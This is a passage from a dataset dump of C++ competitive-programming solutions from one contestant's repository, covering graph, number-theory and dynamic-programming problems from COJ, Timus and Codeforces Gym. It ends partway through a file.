"is_vendor": false, "language": "C++", "length_bytes": 889, "license_type": "no_license", "max_line_length": 45, "num_lines": 43, "path": "/COJ/eliogovea-cojAC/eliogovea-p2837-Accepted-s656811.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int inf = 100000000;\r\n\r\nint tc, id, f, c;\r\nvector<int> v;\r\nvector<int>::iterator it;\r\n\r\nint main() {\r\n for (int a = 0, b = 0; ; a++, b += a) {\r\n v.push_back(b);\r\n if (b > inf) break;\r\n }\r\n\r\n cin >> tc;\r\n while (tc--) {\r\n cin >> id;\r\n it = lower_bound(v.begin(), v.end(), id);\r\n f = it - v.begin(); c = 1;\r\n int x = *it, diff = x - id;\r\n f -= diff;\r\n c += diff;\r\n //cout << f << \" \" << c << \"\\n\";\r\n if (f == 1 && c == 1) cout << \"0\\n\";\r\n else if (f == 1) {\r\n if (c & 1) cout << \"-\";\r\n cout << c / 2 << \"\\n\";\r\n }\r\n else {\r\n if (!(c & 1)) cout << \"-\";\r\n int x, cont = 0;\r\n for (x = 1; ; x++) {\r\n if (__gcd(f, x) == 1) cont += 2;\r\n if (cont >= c) break;\r\n }\r\n cout << x << \"/\" << f << \"\\n\";\r\n }\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.4801762104034424, "alphanum_fraction": 0.4977973699569702, "avg_line_length": 12.709677696228027, "blob_id": "ea022d70fb754685ca14444f63735ababfa11ad3", "content_id": "3ec993b08a0faf434d0883b6d19fa171fc310bb6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 454, "license_type": "no_license", "max_line_length": 55, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p3759-Accepted-s1067230.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tstring s;\r\n\tcin >> s;\r\n\r\n\tlong long n;\r\n\tcin >> n;\r\n\tn--;\r\n\r\n\tint l = s.length();\r\n\r\n\tlong long curLength = l;\r\n\twhile (curLength < n + 1) {\r\n\t\tcurLength *= 2LL;\r\n\t}\r\n\r\n\twhile (curLength > l) {\r\n\t\tif (n >= curLength / 2LL) {\r\n\t\t\tn = (n - 1 + (curLength / 2LL)) % (curLength / 2LL);\r\n\t\t}\r\n\t\tcurLength /= 2LL;\r\n\t}\r\n\r\n\tcout << s[n] << \"\\n\";\r\n}" }, { "alpha_fraction": 0.3223039209842682, "alphanum_fraction": 0.34068626165390015, "avg_line_length": 21.314285278320312, "blob_id": "95c80b026ec40e08e4d0e9196e44c0d56041babc", "content_id": "b08ab0515d9471e33bcf3615d71c297060c51499", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 816, "license_type": "no_license", "max_line_length": 51, "num_lines": 35, "path": "/COJ/eliogovea-cojAC/eliogovea-p2896-Accepted-s618549.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <cstdio>\r\n#include <algorithm>\r\n\r\nusing namespace std;\r\n\r\nconst int MAXN = 1000;\r\n\r\nint n, a[MAXN + 10], sol[MAXN + 10], q, v;\r\n\r\nint main() {\r\n scanf(\"%d\", &n);\r\n for (int i = 0; i < n; i++) scanf(\"%d\", &a[i]);\r\n for (int i = 1; i <= MAXN; i++) {\r\n int g = 0, c = 0;\r\n for (int j = 0; j < n; j++) {\r\n if (a[j] % i == 0) {\r\n if (g == 0) g = a[j];\r\n else g = __gcd(g, a[j]);\r\n c++;\r\n if (g == i)sol[i] = max(sol[i], c);\r\n }\r\n }\r\n }\r\n\r\n for (int i = MAXN, x = sol[MAXN]; i; i--) {\r\n if (sol[i]) x = sol[i];\r\n else sol[i] = x;\r\n }\r\n scanf(\"%d\", &q);\r\n while (q--) {\r\n scanf(\"%d\", &v);\r\n printf(\"%d\\n\", sol[v]);\r\n }\r\n}\r\n" }, { "alpha_fraction": 0.41478845477104187, "alphanum_fraction": 0.4404903054237366, "avg_line_length": 15.809859275817871, "blob_id": "ca4b2f828b24629eb3f32ad4a19eb4ff7ca3b342", "content_id": "4d2920c3ffe615e077f883179c062fc00087add6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2529, "license_type": "no_license", "max_line_length": 91, "num_lines": 142, "path": "/COJ/eliogovea-cojAC/eliogovea-p3549-Accepted-s918772.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\n\r\nint n, m;\r\nint val[N];\r\nvector <int> g[N];\r\n\r\nint vis[N], seen[N];\r\nvector <pair <int, int> > bridges;\r\nint timer;\r\n\r\nvoid dfs1(int u, int p) {\r\n\tif (vis[u] != -1) {\r\n\t\treturn;\r\n\t}\r\n\tvis[u] = seen[u] = timer++;\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (vis[v] == -1) {\r\n\t\t\tdfs1(v, u);\r\n\t\t\tseen[u] = min(seen[u], seen[v]);\r\n\t\t\tif (seen[v] > vis[u]) {\r\n\t\t\t\tbridges.push_back(make_pair(u, v));\r\n\t\t\t\tbridges.push_back(make_pair(v, u));\r\n\t\t\t}\r\n\t\t} else {\r\n seen[u] = min(seen[u], vis[v]);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint tcomp;\r\nint comp[N];\r\nint cval[N];\r\n\r\n\r\nvoid dfs2(int u, int p) {\r\n\tcomp[u] = tcomp;\r\n\tcval[tcomp] += val[u];\r\n\tfor (int i = 0; i < g[u].size(); i++) {\r\n\t\tint v = g[u][i];\r\n\t\tint pos = lower_bound(bridges.begin(), bridges.end(), make_pair(u, v)) - bridges.begin();\r\n\t\tif (pos != bridges.size() && bridges[pos] == make_pair(u, v)) {\r\n continue;\r\n\t\t}\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tif (comp[v] == -1) {\r\n\t\t\tdfs2(v, u);\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvector <int> g2[N];\r\n\r\nvoid dfs3(int u, int p, int d, int *dist) {\r\n dist[u] = d;\r\n\tfor (int i = 0; i < g2[u].size(); i++) {\r\n\t\tint v = g2[u][i];\r\n\t\tif (v == p) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tdfs3(v, u, d + cval[v], dist);\r\n\t}\r\n}\r\n\r\nint dist1[N], dist2[N];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> n >> m;\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n cin >> val[i];\r\n\t}\r\n\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tint u, v;\r\n\t\tcin >> u >> v;\r\n\t\tg[u].push_back(v);\r\n\t\tg[v].push_back(u);\r\n\t}\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tvis[i] = -1;\r\n\t\tseen[i] = -1;\r\n\t\tcomp[i] = -1;\r\n\t}\r\n\r\n\ttimer = 0;\r\n\tdfs1(1, -1);\r\n\r\n\tsort(bridges.begin(), bridges.end());\r\n\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (comp[i] == -1) {\r\n\t\t\tdfs2(i, -1);\r\n\t\t\ttcomp++;\r\n\t\t}\r\n\t}\r\n\r\n\tfor (int i = 0; i < bridges.size(); i++) {\r\n\t\tint u = bridges[i].first;\r\n\t\tint v = bridges[i].second;\r\n\t\tint cu = comp[u];\r\n\t\tint cv = comp[v];\r\n\t\tg2[cu].push_back(cv);\r\n\t\t//g2[cv].push_back(cu);\r\n\t}\r\n\r\n\tdfs3(0, -1, cval[0], dist1);\r\n\tint x = 0;\r\n\tfor (int i = 0; i < tcomp; i++) {\r\n\t\tif (dist1[i] > dist1[x]) {\r\n\t\t\tx = i;\r\n\t\t}\r\n\t}\r\n\tdfs3(x, -1, cval[x], dist1);\r\n\tint y = 0;\r\n\tfor (int i = 0; i < tcomp; i++) {\r\n\t\tif (dist1[i] > dist1[y]) {\r\n\t\t\ty = i;\r\n\t\t}\r\n\t}\r\n\tdfs3(y, -1, cval[y], dist2);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcout << max(dist1[comp[i]], dist2[comp[i]]);\r\n\t\tif (i + 1 <= n) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.4176182746887207, "alphanum_fraction": 0.4518760144710541, "avg_line_length": 14.263157844543457, "blob_id": "30f91c6bfc1e2928271cb3d446c733a99178a316", "content_id": "3bd8a064a28e90b8c2a97ce53a032951c064be71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 613, "license_type": "no_license", "max_line_length": 40, "num_lines": 38, "path": "/Timus/1086-6163017.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1086\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 500000;\r\n\r\nbool criba[N + 5];\r\nvector<int> p;\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tcriba[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 2; i <= N; i++) {\r\n\t\tif (!criba[i]) {\r\n\t\t\tp.push_back(i);\r\n\t\t}\r\n\t\tif (p.size() == 15000) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tint tc, n;\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tcout << p[n - 1] << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.37796977162361145, "alphanum_fraction": 0.39308854937553406, "avg_line_length": 15.148148536682129, "blob_id": "b37d5e13c7d767c0505fc6f7f5548c1ef0fadaab", "content_id": "014526f4358d1cc159158726a67ce946cd086086", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 463, "license_type": "no_license", "max_line_length": 45, "num_lines": 27, "path": "/COJ/eliogovea-cojAC/eliogovea-p2564-Accepted-s497456.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint t;\r\nlong long n;\r\nbool cero,uno;\r\n\r\nint main()\r\n{\r\n ios::sync_with_stdio(0);\r\n cin >> t;\r\n while(t--)\r\n {\r\n cin >> n;\r\n while(n)\r\n {\r\n if(cero && uno)break;\r\n if(n&1)uno=1;\r\n else cero=1;\r\n n>>=1;\r\n }\r\n if(cero && uno)cout << \"YES\" << endl;\r\n else cout << \"NO\" << endl;\r\n cero=uno=0;\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.28940826654434204, "alphanum_fraction": 0.33217304944992065, "avg_line_length": 17.152381896972656, "blob_id": "7cdbb615b9fb39fa2868089340b3ce6cecb89718", "content_id": "c1ccfe7b4f7994e532f58fe8f5d4e0d347798d99", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2011, "license_type": "no_license", "max_line_length": 51, "num_lines": 105, "path": "/COJ/eliogovea-cojAC/eliogovea-p3555-Accepted-s921419.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1005;\r\n\r\nint n, m;\r\nbool g[N][N];\r\n\r\ninline int id(int x) {\r\n\tif (x > n) {\r\n\t\tx -= n;\r\n\t}\r\n\treturn x;\r\n}\r\n\r\nint dp[2 * N][2 * N][2];\r\nint a[2 * N][2 * N][2];\r\nint b[2 * N][2 * N][2];\r\nint c[2 * N][2 * N][2];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tcin >> n >> m;\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tint x, y;\r\n\t\tcin >> x >> y;\r\n\t\tg[x][y] = g[y][x] = true;\r\n\t}\r\n\tfor (int i = 1; i <= 2 * n; i++) {\r\n\t\tdp[i][i][0] = dp[i][i][1] = true;\r\n\t}\r\n\tfor (int l = 1; l < n; l++) {\r\n\t\tfor (int i = 1; i + l - 1 <= 2 * n; i++) {\r\n\t\t\tint j = i + l - 1;\r\n\t\t\tif (dp[i][j][0]) {\r\n //cout << i << \" \" << j << \" 0\\n\";\r\n\t\t\t\tif (g[id(i)][id(i - 1)]) {\r\n\t\t\t\t\ta[i - 1][j][0] = i;\r\n\t\t\t\t\tb[i - 1][j][0] = j;\r\n\t\t\t\t\tc[i - 1][j][0] = 0;\r\n\t\t\t\t\tdp[i - 1][j][0] = true;\r\n\t\t\t\t}\r\n\t\t\t\tif (g[id(i)][id(j + 1)]) {\r\n\t\t\t\t\ta[i][j + 1][1] = i;\r\n\t\t\t\t\tb[i][j + 1][1] = j;\r\n\t\t\t\t\tc[i - 1][j + 1][1] = 0;\r\n\t\t\t\t\tdp[i][j + 1][1] = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (dp[i][j][1]) {\r\n //cout << i << \" \" << j << \" 1\\n\";\r\n\t\t\t\tif (g[id(j)][id(i - 1)]) {\r\n\t\t\t\t\ta[i - 1][j][0] = i;\r\n\t\t\t\t\tb[i - 1][j][0] = j;\r\n\t\t\t\t\tc[i - 1][j][0] = 1;\r\n\t\t\t\t\tdp[i - 1][j][0] = true;\r\n\t\t\t\t}\r\n\t\t\t\tif (g[id(j)][id(j + 1)]) {\r\n\t\t\t\t\ta[i][j + 1][1] = i;\r\n\t\t\t\t\tb[i][j + 1][1] = j;\r\n\t\t\t\t\tc[i][j + 1][1] = 1;\r\n\t\t\t\t\tdp[i][j + 1][1] = true;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tint ans = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (dp[i][i + n - 1][0] || dp[i][i + n - 1][1]) {\r\n\t\t\tans = i;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n\tif (!ans) {\r\n\t\tcout << \"-1\\n\";\r\n\t\treturn 0;\r\n\t}\r\n\tint x = ans;\r\n\tint y = x + n - 1;\r\n\tint z = 0;\r\n\tif (!dp[x][y][0]) {\r\n\t\tz = 1;\r\n\t}\r\n\r\n\tvector <int> path;\r\n\twhile (x != y) {\r\n\t\tpath.push_back(z == 0 ? id(x) : id(y));\r\n\t\tint nx = a[x][y][z];\r\n\t\tint ny = b[x][y][z];\r\n\t\tint nz = c[x][y][z];\r\n\t\tx = nx;\r\n\t\ty = ny;\r\n\t\tz = nz;\r\n\t}\r\n\tpath.push_back(x);\r\n\tassert(path.size() == n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcout << path[i] << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3352601230144501, "alphanum_fraction": 0.36223506927490234, "avg_line_length": 17.22222137451172, "blob_id": "9b9effb41c6c04f7e88af11d87c073e377ec55b7", "content_id": "bd99c125331482e530a5de7214e0fa2d976e3a1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1038, "license_type": "no_license", "max_line_length": 78, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p3262-Accepted-s826342.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100;\r\n\r\nint t, n, a[10005];\r\n\r\nvector<int> g[105], pos[105];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = 1; j <= N; j++) {\r\n\t\t\tif (__gcd(i, j) == 1) {\r\n\t\t\t\tg[i].push_back(j);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcin >> t;\r\n\twhile (t--) {\r\n\t\tfor (int i = 1; i <= N; i++) {\r\n\t\t\tpos[i].clear();\r\n\t\t}\r\n\t\tcin >> n;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tpos[a[i]].push_back(i);\r\n\t\t}\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tint x = -1;\r\n\t\t\tfor (int j = 0; j < g[a[i]].size(); j++) {\r\n\t\t\t\tint v = g[a[i]][j];\r\n\t\t\t\tint p = lower_bound(pos[v].begin(), pos[v].end(), i + 1) - pos[v].begin();\r\n\t\t\t\tif (p < pos[v].size()) {\r\n\t\t\t\t\tif (x == -1 || pos[v][p] < x) {\r\n\t\t\t\t\t\tx = pos[v][p];\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif (x == -1) {\r\n cout << x;\r\n\t\t\t} else {\r\n cout << x + 1;\r\n\t\t\t}\r\n\t\t\tif (i + 1 < n) {\r\n cout << \" \";\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3799342215061188, "alphanum_fraction": 0.42105263471603394, "avg_line_length": 16.42424201965332, "blob_id": "b0cf37d0e4aa4eb4f51e9ca03e8e7d5e0c9e95dc", "content_id": "f91734a545d5ab7d3f5dcc0a73157489dae06973", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 608, "license_type": "no_license", "max_line_length": 38, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p1856-Accepted-s631577.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\nconst int mod = 1000;\r\n\r\nint exp(int x, int n) {\r\n\tint r = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) r = (r * x) % mod;\r\n\t\tx = (x * x) % mod;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint n, sol, lg;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\twhile (cin >> n) {\r\n\t\tif (n < 0) cout << \"0\\n\";\r\n\t\telse if (n == 0) cout << \"1\\n\";\r\n\t\telse if (n == 1) cout << \"6\\n\";\r\n\t\telse if (n == 2) cout << \"36\\n\";\r\n\t\telse {\r\n\t\t\tsol = exp(6, n);\r\n\t\t\tlg = (int)log10(sol) + 1;\r\n if (lg == 1) cout << \"00\";\r\n\t\t\telse if (lg == 2) cout << \"0\";\r\n\t\t\tcout << sol << '\\n';\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3523654043674469, "alphanum_fraction": 0.38417619466781616, "avg_line_length": 18.15625, "blob_id": "0008ab676105f0832719273fb19a97a9402b6516", "content_id": "b8da12d0db700181ca8980129d968e566273219b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1226, "license_type": "no_license", "max_line_length": 68, "num_lines": 64, "path": "/Codeforces-Gym/101047 - 2015 USP Try-outs/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2015 USP Try-outs\n// 101047K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst double EPS = 1e-10;\n\nint t;\nint n;\ndouble a[2005];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(11);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> a[i];\n\t\t}\n\t\tsort(a, a + n);\n\t\tbool ok = false;\n\t\tdouble ans;\n\t\tfor (int i = 0; i < n - 2; i++) {\n\t\t\tfor (int j = i + 1; j < n - 1; j++) {\n\t\t\t\tint lo = j + 1;\n\t\t\t\tint hi = n - 1;\n\t\t\t\tint pos = -1;\n\t\t\t\twhile (lo <= hi) {\n\t\t\t\t\tint mid = (lo + hi) >> 1;\n\t\t\t\t\tif (a[mid] <= a[i] + a[j] + EPS) {\n\t\t\t\t\t\tpos = mid;\n\t\t\t\t\t\tlo = mid + 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\thi = mid - 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (pos != -1) {\n\t\t\t\t\tdouble s = (a[i] + a[j] + a[pos]) * 0.5;\n\t\t\t\t\tdouble area = sqrt(s * (s - a[i]) * (s - a[j]) * (s - a[pos]));\n\t\t\t\t\tif (!ok || area < ans) {\n\t\t\t\t\t\tok = true;\n\t\t\t\t\t\tans = area;\n\t\t\t\t\t}\n\t\t\t\t\ts = (a[i] + a[j] + a[j + 1]) * 0.5;\n\t\t\t\t\tarea = sqrt(s * (s - a[i]) * (s - a[j]) * (s - a[j + 1]));\n\t\t\t\t\tif (!ok || area < ans) {\n ok = true;\n ans = area;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (!ok) {\n\t\t\tcout << \"-1\\n\";\n\t\t} else {\n\t\t\tcout << fixed << ans << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.32899022102355957, "alphanum_fraction": 0.35504886507987976, "avg_line_length": 11.954545021057129, "blob_id": "aa01b68cbb401d30cdc6237af5878ecfd372f048", "content_id": "7bd894bad3f5d24399970da4d6091735eb51d27d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 307, "license_type": "no_license", "max_line_length": 28, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p2416-Accepted-s511463.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\nusing namespace std;\r\n\r\nint c,n;\r\n\r\nint s(int a){\r\n int t=0;\r\n while(a){\r\n t+=a%10;\r\n a/=10;\r\n }\r\n return t;\r\n }\r\n\r\nint main(){\r\n cin >> c;\r\n while(c--){\r\n cin >> n;\r\n\t\t\t cout << 9-n%9 << endl;\r\n }\r\n\treturn 0;\r\n}\r\n" }, { "alpha_fraction": 0.319485068321228, "alphanum_fraction": 0.34932708740234375, "avg_line_length": 19.10588264465332, "blob_id": "ed661e7e43992694d6315961274d4629b91773df", "content_id": "269c3821433f00c660db672e935472ec3ff6a105", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1709, "license_type": "no_license", "max_line_length": 71, "num_lines": 85, "path": "/Codeforces-Gym/100739 - KTU Programming Camp (Day 3)/C.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// KTU Programming Camp (Day 3)\n// 100739C\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int MAXN = 300;\n\nint dp[MAXN][MAXN][4];\nstring mapa[MAXN];\n\nint n;\n\nstruct it{\n int i, j, d;\n it(){ i = j = d = -1; }\n it(int ii,int jj,int dd){\n i = ii; j = jj; d = dd;\n }\n};\n\nit cola[MAXN * MAXN];\nbool mk[MAXN][MAXN][4];\n\nbool can_move(int i,int j){\n return ( i >= 0 && j >= 0 && i < n && j < n && mapa[i][j] != '#' );\n}\n\nint movI[] = { 1 , 0, -1, 0 };\nint movJ[] = { 0 , -1, 0, 1 };\n\nint solve(){\n int enq = 0, deq = 0;\n\n cola[enq++] = it(0,0,0);\n mk[0][0][0] = true;\n\n int lev = 0;\n\n while( enq - deq && !mk[n-1][n-1][0] ){ lev++;\n \n int sz = (enq - deq);\n \n for(int c = 0; c < sz && !mk[n-1][n-1][0]; c++){\n it x = cola[deq++];\n int d = x.d;\n\n if( can_move( x.i + movI[d] , x.j + movJ[d] ) &&\n !mk[ x.i + movI[d] ][ x.j + movJ[d] ][d] ){\n \n mk[ x.i + movI[d] ][ x.j + movJ[d] ][d] = true;\n cola[enq++] = it( x.i + movI[d] , x.j + movJ[d] , d );\n \n if( x.i == n-1 && x.j == n-1 && d == 0 ){\n return lev;\n }\n }\n\n if( !mk[ x.i ][ x.j ][ (d + 3) % 4 ] ){\n \n cola[enq++] = it( x.i, x.j, (d + 3) % 4 );\n \n mk[ x.i ][ x.j ][ (d + 3) % 4 ] = true;\n }\n }\n }\n\n return lev;\n}\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n //freopen(\"dat.txt\",\"r\",stdin);\n\n cin >> n;\n\n for(int i = 0; i < n; i++){\n cin >> mapa[i];\n }\n\n cout << solve() << '\\n';\n}\n" }, { "alpha_fraction": 0.367972731590271, "alphanum_fraction": 0.3850085139274597, "avg_line_length": 17.566667556762695, "blob_id": "8113e79272198f01f5848735ff935b09fba8a995", "content_id": "f3e0179e648b545b139b61958243d400b62e0149", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 587, "license_type": "no_license", "max_line_length": 51, "num_lines": 30, "path": "/COJ/eliogovea-cojAC/eliogovea-p2598-Accepted-s607786.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXT = 25010;\r\n\r\nint n, q, a, b, c, dp[MAXT];\r\n\r\nint main() {\r\n\tscanf(\"%d\", &n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tscanf(\"%d%d%d\", &a, &b, &c);\r\n\t\tif (b == 0) {\r\n\t\t\tfor (int i = c; i < MAXT; i++)\r\n\t\t\t\tdp[i] = max(dp[i], dp[i - c] + a);\r\n\t\t}\r\n\t\telse {\r\n\t\t\tint k = 0;\r\n\t\t\twhile (a - k * k * b > 0) {\r\n\t\t\t\tfor (int i = MAXT - 1; i >= c; i--)\r\n\t\t\t\t\tdp[i] = max(dp[i], dp[i - c] + a - k * k * b);\r\n k++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (scanf(\"%d\", &q); q--;) {\r\n\t\tscanf(\"%d\", &a);\r\n\t\tprintf(\"%d\\n\", dp[a]);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.49459460377693176, "alphanum_fraction": 0.5108107924461365, "avg_line_length": 13.744680404663086, "blob_id": "ce8ba1bb79078500e47e6c5f8aef630738a7f828", "content_id": "bccb2b19847a23ac550f81eb73cffa5f89542799", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 740, "license_type": "no_license", "max_line_length": 48, "num_lines": 47, "path": "/COJ/eliogovea-cojAC/eliogovea-p1771-Accepted-s546145.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<vector>\r\n#include<queue>\r\n#define MAXN 1010\r\nusing namespace std;\r\n\r\nint n,m;\r\nint cost[MAXN],mincost[MAXN];\r\nvector<int> G[MAXN];\r\nvector<int>::iterator it;\r\nqueue<int> Q;\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d%d\",&n,&m);\r\n\tfor(int i=1; i<=n; i++)\r\n\t{\r\n\t\tscanf(\"%d\",&cost[i]);\r\n\t\tmincost[i]=1<<29;\r\n\t}\r\n\r\n\tfor(int i=1,x,y; i<=m; i++)\r\n\t{\r\n\t\tscanf(\"%d%d\",&x,&y);\r\n\t\tG[x].push_back(y);\r\n\t\tG[y].push_back(x);\r\n\t}\r\n\r\n\tQ.push(1);\r\n\tmincost[1]=0;\r\n\r\n\twhile(!Q.empty())\r\n\t{\r\n\t\tint nod=Q.front();\r\n\t\tQ.pop();\r\n\r\n\t\tfor(it=G[nod].begin(); it!=G[nod].end(); it++)\r\n\t\t\tif(mincost[*it] > mincost[nod]+cost[*it])\r\n\t\t\t{\r\n\t\t\t\tmincost[*it] = mincost[nod]+cost[*it];\r\n\t\t\t\tQ.push(*it);\r\n\t\t\t}\r\n\t}\r\n\r\n\tprintf(\"%d\\n\",mincost[n]-cost[n]);\r\n\r\n}\r\n" }, { "alpha_fraction": 0.3319999873638153, "alphanum_fraction": 0.36399999260902405, "avg_line_length": 17.101449966430664, "blob_id": "a21fac038da8027768d1293be3f1ce07bad8eb0b", "content_id": "8c9a76cef26752787aca5663961917927848c59d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1250, "license_type": "no_license", "max_line_length": 72, "num_lines": 69, "path": "/COJ/Copa-UCI-2018/B.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long long ll;\n\nconst int mod = 1000000007;\n\nint add( int a, int b ){\n a += b;\n if( a >= mod ) a -= mod;\n return a;\n}\n\nint rest( int a, int b ){\n a -= b;\n if( a < 0 ) a += mod;\n return a;\n}\n\nint mult( int a, int b ){\n return (ll) a * b % mod;\n}\n\nconst int MAXN = 10002;\nint sol[MAXN][26][26];\nint tot[MAXN][26];\n\nint main(){\n ios::sync_with_stdio(0);\n cin.tie(0);\n\n 